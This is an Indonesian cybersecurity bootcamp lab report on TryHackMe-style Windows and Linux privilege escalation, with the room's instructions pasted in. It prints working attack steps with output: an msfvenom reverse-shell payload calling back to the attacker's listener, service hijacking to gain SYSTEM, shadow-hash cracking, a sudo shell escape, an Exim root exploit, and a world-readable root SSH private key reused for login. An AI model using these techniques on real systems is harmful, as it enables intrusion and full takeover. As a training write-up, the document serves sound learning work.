



LAPORAN

Post-Exploitation

Bootcamp Cyber Security Batch 6

Disusun oleh: Ligar Alfath Rizqi

DAFTAR ISI

DAFTAR ISI.....	
I. Bagian 1 : Lab Windows.....	
II. Bagian 2: Lab Linux.....	

I. Bagian 1 : Lab Windows

- Task 1

```
(ligar@kali)-[~]
$ xfreerdp /u:user /p:password321 /cert:ignore /v:10.48.175.195
[20:34:40:169] [272390:00042806] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[20:34:40:169] [272390:00042806] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or
secrets via command line might expose these in the process list
[20:34:40:169] [272390:00042806] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of
the following (more secure) alternatives:
[20:34:40:169] [272390:00042806] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe i
n arguments from stdin, file or file descriptor
[20:34:40:169] [272390:00042806] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass t
he credential via stdin
[20:34:40:169] [272390:00042806] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment va
riable FREERDP_ASKPASS to have a gui tool query for credentials
[20:34:40:179] [272390:00042808] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 → no RDP sc
ancode found
[20:34:40:179] [272390:00042808] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: ZEHA: keycode: 0x5d → no RDP sc
ancode found
[20:34:40:703] [272390:00042808] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /
cert:ignore in use.
[20:34:40:703] [272390:00042808] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks
from being detected!
[20:34:40:703] [272390:00042808] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in
a secure LAN (=no internet) environment
[20:34:40:705] [272390:00042808] [ERROR][com.winpr.ssapi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (
Configuration file does not specify default realm [-1765328160])
[20:34:40:705] [272390:00042808] [ERROR][com.winpr.ssapi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (
Configuration file does not specify default realm [-1765328160])
```

Menggunakan command “xfreerdp /u:user /p:password321 /cert:ignore /v:10.48.175.195” untuk login remote ke target windows

- Task 3

Menyambungkan rdp agar command bisa dijalankan di kali dengan reverse shell

```
(ligar@kali)-[~]
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.147.254 LPORT=53 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes
Saved as: reverse.exe
```

```
(ligar@kali)-[~]
$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
[sudo] password for ligar:
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

```
C:\Users\user>copy \\192.168.147.254\kali\reverse.exe C:\PrivEsc\reverse.exe
1 file(s) copied.
```

```
(ligar@kali)-[~]
$ sudo nc -nvlp 53
[sudo] password for ligar:
listening on [any] 53 ...
connect to [192.168.147.254] from (UNKNOWN) [10.48.175.195] 49875
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\user>C:\PrivEsc\reverse.exe
```

```

ligar@kali: ~
Session Actions Edit View Help
(ligar@kali)-[~]
$ sudo nc -nvlp 53
[sudo] password for ligar:
listening on [any] 53 ...
connect to [192.168.147.254] from (UNKNOWN) [10.48.175.195] 49875
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\user>ls
ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\user>whoami
whoami
win-qba94kb3iof\user

C:\Users\user>

```

Menyalahgunakan Service Windows Untuk menjadi system

```

C:\Users\user>C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL

C:\Users\user>sc qc daclsvc
sc qc daclsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE           : 3    DEMAND_START
        ERROR_CONTROL        : 1    NORMAL
        BINARY_PATH_NAME     : "C:\Program Files\DACL Service\daclservice.exe"
        LOAD_ORDER_GROUP     :
        TAG                  : 0
        DISPLAY_NAME         : DACL Service
        DEPENDENCIES         :
        SERVICE_START_NAME   : LocalSystem

```

Kita menemukan “SERVICE_CHANGE_CONFIG” yang berarti kita bisa merubah service ini. Dan service daclsvc itu berjalan dengan akses system alias akses tertinggi di Windows

```

C:\Users\user>sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"
[SC] ChangeServiceConfig SUCCESS

```

Kita ubah service daclsvc menjadi reverse shell


```
(ligar@kali)-[~]
$ nc -nvlp 53
listening on [any] 53 ...
connect to [192.168.147.254] from (UNKNOWN) [10.48.175.195] 50004
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\user>net start daclsvc
net start daclsvc
The service is not responding to the control function.

More help is available by typing NET HELPMSG 2186.
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

Lalu kita mengaktifkan listener di kali dan start service pada windows untuk mengaktifkan reverse shell. Terlihat bahwa reverse shell berhasil dan kita sudah menjadi system (akses tertinggi) pada mesin windows tersebut

Task 3
Service Exploits - Insecure Service Permissions

Use accesschk.exe to check the "user" account's permissions on the "daclsvc" service:

```
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
```

Note that the "user" account has the permission to change the service config (SERVICE_CHANGE_CONFIG).

Query the service and note that it runs with SYSTEM privileges (SERVICE_START_NAME):

```
sc qc daclsvc
```

Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:

```
sc config daclsvc binpath= "C:\PrivEsc\reverse.exe"
```

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

```
net start daclsvc
```

Answer the questions below

What is the original BINARY_PATH_NAME of the daclsvc service?

C:\Program Files\DACL Service\daclservice.exe
Correct Answer

- Task 6
Menyalahgunakan file .exe yang dijalankan service untuk menjadi SYSTEM

```
C:\Users\user>sc qc filepermsvc
sc qc filepermsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: filepermsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE           : 3   DEMAND_START
        ERROR_CONTROL        : 1   NORMAL
        BINARY_PATH_NAME     : "C:\Program Files\File Permissions Service\filepermservice.exe"
        LOAD_ORDER_GROUP     :
        TAG                  : 0
        DISPLAY_NAME         : File Permissions Service
        DEPENDENCIES         :
        SERVICE_START_NAME   : LocalSystem

C:\Users\user>C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
C:\Program Files\File Permissions Service\filepermservice.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW WIN-QBA94KB3IOF\Administrator
FILE_ALL_ACCESS
RW BUILTIN\Users
FILE_ALL_ACCESS
```

Service filepermsvc dijalankan oleh System dan file .exe nya bisa diubah.
Sekarang tujuan kita ada mengubah file .exe service menjadi file reverse shell

```
C:\Users\user>copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
1 file(s) copied.
```

Kita mengcopy/menimpa file reverse shell untuk dijalankan oleh service

```
—(ligar@kali)-[~]
—$ nc -nvlp 53
listening on [any] 53 ...
connect to [192.168.147.254] from (UNKNOWN) [10.48.175.195] 50069
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\user>net start filepermsvc
net start filepermsvc
The service is not responding to the control function.
```

```
net start filepermsvc
C:\Windows\system32>whoami
whoami
nt authority\systemable by ty
```

Lalu kita mengaktifkan listener di kali dan start service pada windows untuk mengaktifkan reverse shell. Terlihat bahwa reverse shell berhasil dan kita sudah menjadi system (akses tertinggi) pada mesin windows tersebut

- Task 12
- Task 13

II. Bagian 2 : Lab Linux

- Task 1

```
(ligar@kali)-[~]
$ ssh user@10.49.167.112 -p 22
Unable to negotiate with 10.49.167.112 port 22: no matching host key type found. Their offer:
ssh-rsa

(ligar@kali)-[~]
$ ssh user@10.49.167.112 -p 22 -oHostKeyAlgorithms=+ssh-rsa
The authenticity of host '10.49.167.112 (10.49.167.112)' can't be established.
RSA key fingerprint is: SHA256:JwwPVfqC+8LPQda0B9wFLZzXCXcoAho6s8wYGjktAnk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.167.112' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
user@10.49.167.112's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
```

Login remote melalui ssh

Make sure you are connected to the [TryHackMe VPN](#) or using the in-browser Kali instance before trying to access the Debian VM!

SSH should be available on port 22. You can login to the "user" account using the following command:

```
ssh user@10.49.167.112
```

If you see the following message: "Are you sure you want to continue connecting (yes/no)?" type **yes** and press **Enter**.

The password for the "user" account is "**password321**".

Note: If you get an error saying `Unable to negotiate with <IP> port 22: no matching host key type found. Their offer: ssh-rsa, ssh-dss` this is because OpenSSH have deprecated `ssh-rsa`. Add `-oHostKeyAlgorithms=+ssh-rsa` to your command to connect.

The next tasks will walk you through different privilege escalation techniques. After each technique, you should have a root shell. **Remember to exit out of the shell and/or re-establish a session as the "user" account before starting the next task!**

Answer the questions below

Deploy the machine and login to the "user" account using SSH.

Run the "id" command. What is the result?

- Task 3

```
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
```

```
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$0XA.dwMe0AcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuuid!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aD0ZRfYirKDW5IJy32FBGjwYpT201zrR2xTR0v7wRIkF8.:17298:0:99999:7:::
statd*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
```

File shadow bisa dibaca semua orang, lalu kita buka file shadow dan kita ambil hash password root

```
(ligar@kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (root)
1g 0:00:00:00 DONE (2026-04-05 21:52) 4.545g/s 6981p/s 6981c/s 6981C/s kucing..mexico1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Setelah kita ambil, kita simpan hash password itu ke file hash.txt. Setelah itu kita memakai tool john the ripper untuk crack password. Setelah di crack terlihat bahwa password root adalah password123

```
ls -l /etc/shadow
```

View the contents of the /etc/shadow file:

```
cat /etc/shadow
```

Each line of the file represents a user. A user's password hash (if they have one) can be found between the first and second colons (:) of each line.

Save the root user's hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Switch to the root user, using the cracked password:

```
su root
```

Remember to exit out of the root shell before continuing!

Answer the questions below

What is the root user's password hash?

✓ Correct Answer

What hashing algorithm was used to produce the root user's password hash?

✓ Correct Answer

?

• Task 6

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256]
User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more
```

Ada banyak sekali command yang bisa jalan sebagai root. Dan kita bisa memilih dari 11 command ini yang bisa shell escape. Untuk sekarang kita pakai find

```
user@debian:~$ sudo find . -exec /bin/bash \; -quit
root@debian:/home/user# whoami
root
```

Dengan command tersebut yang didapat dari GTFOBins, kita bisa escape shell dan menjadi root

List the programs which sudo allows your user to run:

```
sudo -l
```

Visit GTFOBins (<https://gtfobins.github.io>) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.

For an extra challenge, try to gain a root shell using all the programs on the list!

Remember to exit out of the root shell before continuing!

Answer the questions below

How many programs is "user" allowed to run via sudo?

✓ Correct Answer

One program on the list doesn't have a shell escape sequence on GTFOBins. Which is it?

✓ Correct Answer

Consider how you might use this program with sudo to gain root privileges without a shell escape sequence.

✓ Correct Answer



• Task 11

```
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
```

Pada gambar pertama, kita menjalankan perintah find untuk mencari file dengan permission SUID/SGID. Dari hasilnya, kita menemukan /usr/sbin/exim-4.84-3 yang berjalan sebagai root. Ini penting karena jika program tersebut memiliki celah keamanan, kita bisa memanfaatkannya untuk naik ke akses lebih tinggi

```
user@debian:~$ /home/user/tools/suid/exim/cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# whoami
root
```

Pada gambar kedua, kita menjalankan script exploit cve-2016-1531.sh yang menargetkan vulnerability pada Exim tersebut. Setelah dijalankan, kita langsung mendapatkan shell root, dibuktikan dengan perintah whoami yang menghasilkan root. Ini menunjukkan bahwa kombinasi SUID dan program

yang vulnerable bisa digunakan untuk privilege escalation.

Task 11

SUID / SGID Executables - Known Exploits

Find all the SUID/SGID executables on the Debian VM:

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

Note that /usr/sbin/exim-4.84-3 appears in the results. Try to find a known exploit for this version of exim. [Exploit-DB](#), Google, and GitHub are good places to search!

A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at `/home/user/tools/suid/exim/cve-2016-1531.sh`.

Run the exploit script to gain a root shell:

```
/home/user/tools/suid/exim/cve-2016-1531.sh
```

Remember to exit out of the root shell before continuing!

Answer the questions below

Read and follow along with the above.

No answer needed

Loading...

• Task 18

```
user@debian:~$ ls -la /
total 96
drwxr-xr-x 22 root root 4096 Aug 25 2019 .
drwxr-xr-x 22 root root 4096 Aug 25 2019 ..
drwxr-xr-x  2 root root 4096 Aug 25 2019 bin
drwxr-xr-x  3 root root 4096 May 12 2017 boot
drwxr-xr-x 12 root root 2820 Apr  5 10:32 dev
drwxr-xr-x 67 root root 4096 Apr  5 10:58 etc
drwxr-xr-x  3 root root 4096 May 15 2017 home
lrwxrwxrwx  1 root root    30 May 12 2017 initrd.img → boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14 2017 lib
lrwxrwxrwx  1 root root    4 May 12 2017 lib64 → /lib
drwx----- 2 root root 16384 May 12 2017 lost+found
drwxr-xr-x  3 root root 4096 May 12 2017 media
drwxr-xr-x  2 root root 4096 Jun 11 2014 mnt
drwxr-xr-x  2 root root 4096 May 12 2017 opt
dr-xr-xr-x 96 root root    0 Apr  5 10:29 proc
drwx----- 5 root root 4096 May 15 2020 root
drwxr-xr-x  2 root root 4096 May 13 2017/sbin
drwxr-xr-x  2 root root 4096 Jul 21 2010 selinux
drwxr-xr-x  2 root root 4096 May 12 2017 srv
drwxr-xr-x  2 root root 4096 Aug 25 2019 .ssh
drwxr-xr-x 13 root root    0 Apr  5 10:29 sys
drwxrwxrwt  2 root root 4096 Apr  5 11:19 tmp
drwxr-xr-x 11 root root 4096 May 13 2017 usr
drwxr-xr-x 14 root root 4096 May 13 2017 var
lrwxrwxrwx  1 root root    27 May 12 2017 vmlinuz → boot/vmlinuz-2.6.32-5-amd64
```

Dilakukan pengecekan file tersembunyi pada root directory menggunakan `ls -la /`. Dari hasil tersebut ditemukan direktori `.ssh` yang bersifat tersembunyi. Direktori ini umumnya digunakan untuk menyimpan konfigurasi dan kunci SSH.

```
user@debian:~$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25 2019 root_key
```

Dilakukan pengecekan isi direktori .ssh menggunakan `ls -l /.ssh`. Ditemukan file `root_key` dengan permission `-rw-r--r--`, yang berarti file dapat dibaca oleh semua user. Hal ini merupakan kesalahan konfigurasi karena file tersebut berpotensi berisi private key milik root.

```
user@debian:~$ cat /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIIf6Wczcdm38MZ9+QADSYq9FFfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYn00LDcsezwnhBzn0kljtGu9p+dmMkKb40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YckXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAOIBAQQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZ0gkS6gFqa3VH20Cm6o8xSghdCB3JvXk+i8bBI5bZ
YaLGH1boX6UARZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNycucvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPSHXBewP1Vkf/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFCLfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKICuPB0JY9Zk09d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNY3K
824ihKLQVDC9eYezWws2pqZk/Aq02IHSzlL4v0T0Gyz0sKJH6NGTvyYhrAoGBAOL6
Wg070XE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiUDNcl5u+Pihbv73rPNZOsixkklb5t3Jg10cvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIFJSS5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDP+tYi/GV
d+oc5YlWXLE9bAvC+3nw8P+XPoKRfwPFUOXp46lf608zYQZgj3r+0Xld6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRvi8+R7T2Fhh4L5FuykcDeZm10vYeCML32EfN
Whp/Mr5B5GDmMHBRTkaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWni7t9UNyayRmwejI6phSw=
-----END RSA PRIVATE KEY-----
```

Isi file `root_key` ditampilkan menggunakan `cat /.ssh/root_key`. Terlihat bahwa file tersebut berisi **RSA Private Key**, yang merupakan kunci autentikasi untuk login sebagai root tanpa password.

```
(ligar@kali)-[~]
$ chmod 600 root_key
(ligar@kali)-[~]
$ ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.49.167.112
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 25 14:02:49 2019 from 192.168.1.2
root@debian:~#
```

Private key tersebut disalin ke mesin Kali, kemudian digunakan untuk login ke target menggunakan SSH dengan opsi tertentu. Login berhasil dilakukan sebagai root, ditunjukkan dengan prompt root@debian, sehingga akses penuh terhadap sistem berhasil diperoleh.

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:

```
ls -la /
```

Note that there appears to be a hidden directory called **.ssh**. View the contents of the directory:

```
ls -l /.ssh
```

Note that there is a world-readable file called **root_key**. Further inspection of this file should indicate it is a private **SSH** key. The name of the file suggests it is for the root user.

Copy the key over to your Kali box (it's easier to just view the contents of the **root_key** file and copy/paste the key) and give it the correct permissions, otherwise your **SSH** client will refuse to use it:

```
chmod 600 root_key
```

Use the key to login to the Debian VM as the root account (note that due to the age of the box, some additional settings are required when using SSH):

```
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.49.167.112
```

Remember to exit out of the root shell before continuing!

Answer the questions below

Read and follow along with the above.



No answer needed

✓ Correct Answer